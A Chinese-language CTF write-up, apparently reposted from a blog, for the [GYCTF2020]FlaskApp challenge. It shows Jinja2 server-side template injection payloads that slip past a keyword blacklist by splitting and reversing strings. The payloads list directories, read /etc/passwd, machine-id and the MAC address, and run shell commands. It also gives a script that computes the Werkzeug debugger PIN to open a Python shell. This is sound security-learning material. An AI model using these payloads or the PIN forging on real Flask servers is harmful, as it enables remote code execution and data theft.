首页 > 其他分享 >[GYCTF2020]FlaskApp

[GYCTF2020]FlaskApp

时间:2024-04-28 09:44:19浏览次数:37  
标签:__ .__ GYCTF2020 34 &# __.__ class FlaskApp

[GYCTF2020]FlaskApp

打开环境是一个base64编解码的网站

rmKdFHWAf_FvUaY3dFT46P-AEJavhAC_zMf-Iv6ZVKU

提示里是一张图片

dNxhQM_x8FgGlwmz9eL7bdVM9mhi1y78g11956E0wj8

源码提示PIN

_bwXkTkKPYW4H5pJq9B_2oBghfsJMlIpvseeDaSfM9o

尝试输入错误字符看看页面结果,于是在解码页面输入123

8HLIGGC05xSWwbhnZKhFGealEMwzQH6w9Cp_MZl3v1E

有源码泄露

0Wje4xdqzBJD9FUslfCC3Le9p5bIFH-_s3prGivCl5o

@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)

从这个render_template_string(tmp)看,应该是使用的jinja2引擎,编码{{config}},传入解密然后渲染执行

6hVhSUtUkCgPAtuVN0j0o0R0u4tqoNGR16xnYafMmss

根据代码,可以知道我们加密后的代码经过waf后就会被直接渲染,那么就可能存在ssti了。

我们进行绕过来尽可能的达到命令执行,因为有waf,我们对可能进行了过滤的单词使用拆分关键词进行绕过

直接cat flag发现是得不到目录的。

所以要思索一下他是不是过滤了什么。

读源码

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

4MtWIkdFGlorOjygp6CPIdz3I2RK-hGeuTipW_f7Q2E

flag和os等被过滤

def waf(str): 
    black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] 
    for x in black_list : 
        if x in str.lower() : 
            return 1

利用字符串拼接找目录发现了this_is_the_flag.txt

发现了this_is_the_flag.txt

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

GSUZX-HLlg5NgOcDpfK3pUzoS6mS2JTlxkgOZza9ds8

读取使用切片省去了拼接flag的步骤

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

bhsxPPoCwF0q3VIeB1gUuBeZados0PtVDlsFqzYIg1A

其他方法

读取debug控制板的pin码

pin码也就是flask在开启debug模式下,进行代码调试模式的进入密码,需要正确的PIN码才能进入调试模式

只要拿到pin码就相当于拿到了shell,想要拿到PIN码必须知道:

usrname: 就是启动这个 Flask的用户
modname: 一般为flask.app
getattr(app, “__name__”, app.__class__.__name__):python该值一般为Flask 值一般不变
getattr(mod, 'file', None):为flask目录下的一个app.py的绝对路径
uuid.getnode():就是当前电脑的MAC地址,str(uuid.getnode())则是mac地址的十进制表达式
get_machine_id() :/etc/machine-id或者 /proc/sys/kernel/random/boot_i中的值
假如是在win平台下读取不到上面两个文件,就去获取注册表中SOFTWARE\Microsoft\Cryptography的值 假如是Docker机 那么为 /proc/self/cgroup docker行

服务器运行flask所登录的用户名

我们可以查看/etc/passwd文件。使用如下命令,得到flaskweb用户

{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}

GXRMzS9Dcxb0JVYZyZPKsGEK0Mcc72_bcJqZoNOcSC8

getattr(mod, ‘file’, None)flask目录下的app.py的绝对路径

根据报错信息我们可以知道:

/usr/local/lib/python3.7/site-packages/flask/app.py

当前电脑的MAC地址

我们可以读取/sys/class/net/eth0/address来获得mac的16进制:

{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}}

q5S1q3nmd0yaOeMTvuvYmzzhfgX2MQK9ZDM5UjhHBng

得到c6:60:5b:e7:c9:a1转为10进制218117161077153

机器的id

linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。

对于docker机则读取读取/proc/self/cgroup获取get_machine_id()(docker后面那段字符串)

使用如下:

{% for x in {}.__class__.__base__.__subclasses__() %}
	{% if "warning" in x.__name__ %}
		{{x.__init__.__globals__['__builtins__'].open('/etc/machine-id').read() }}
	{%endif%}
{%endfor%}

XqmSjPHh6JuBVzQRZmu2-HlYZHBoxLCotP-J84iVXI8

得到1408f836b0ca514d796cbf8960e45fa1

使用师傅们的脚本

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb'# username
    'flask.app',# modname
    'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '218117161077153',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '1408f836b0ca514d796cbf8960e45fa1'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

进入报错页面,鼠标移动到报错代码有一个cmd窗口类似的图标出现在代码右上角,我们点击它然后输入 pin码254-406-097然后就可以执行python shell了

H_Z8a9cyRQ9lY46S6VN_HYuAdbEuRjCb1Ry3TN305nw

1A8I_1wN6iFr9lNidigEfzrcfHPk-mEK5xj7zI-K4pE

我们使用如下代码得到flag

import os
os.popen('cat /this_is_the_flag.txt').read()

c-B1PVF0FRteOUCMqG6_PNc1MMeQWx8Ss8p4YkfA4Gc

标签:__,.__,GYCTF2020,34,&#,__.__,class,FlaskApp
From: https://www.cnblogs.com/fishjumpriver/p/18163068

相关文章

  • [GYCTF2020]Blacklist
    [GYCTF2020]Blacklist打开题目是一个输入框,输入数字可以查看到内容用万能语句可以查看到更多东西使用联合查询发现有过滤,select这些都被过滤了show没有被过滤,所以可以查看相关信息通过师傅们的WP得知,可以用desc查看表结构的详细信息desctable_name;此处desc是describ......
  • BUUCTF [GYCTF2020]FlaskApp
    因为题目名Flask,所以先观察功能点,寻找易发生ssti的功能。考虑到功能异常抛出常见于解密环节,所以在解密界面随便输入一段不能解密的。直接报错抛出debug信息,看来是开启了debug模式。payload的使用需要输入到加密界面,再将加密结果输入到解密界面查看结果。方法1首先想办法把完......
  • WEB|[GYCTF2020]Ezsqli
    页面只有一个输入框,并且题目提示为SQL注入输入1输入2输入3输入1、2和3输出的内容不同,所以判断为布尔注入判断数据库长度为21,确认为布尔注入依次匹配字符,匹配成功返回输入1的页面,否则显示输入2的页面payload:id=if(length(database())=21,1,2)爆数据库名id=if(sub......
  • GYCTF2020-Ez-Express
    title:GYCTF2020-Ez_Expressdate:2022-11-2514:49:24tags:CTF从这个题学到不少东西,记录一下。初识原型链首先这题是有个原型链污染,js中每个类都有个属性__proto_......
  • [GYCTF2020]Easyphp
    [GYCTF2020]Easyphp考点:反序列化的对象逃逸非常典型的登陆界面,随便输了输,发现存在admin用户,猜测是弱口令,拿字典跑了一遍,无果按照以往的做题经验,觉得可能有源码泄露,尝试/......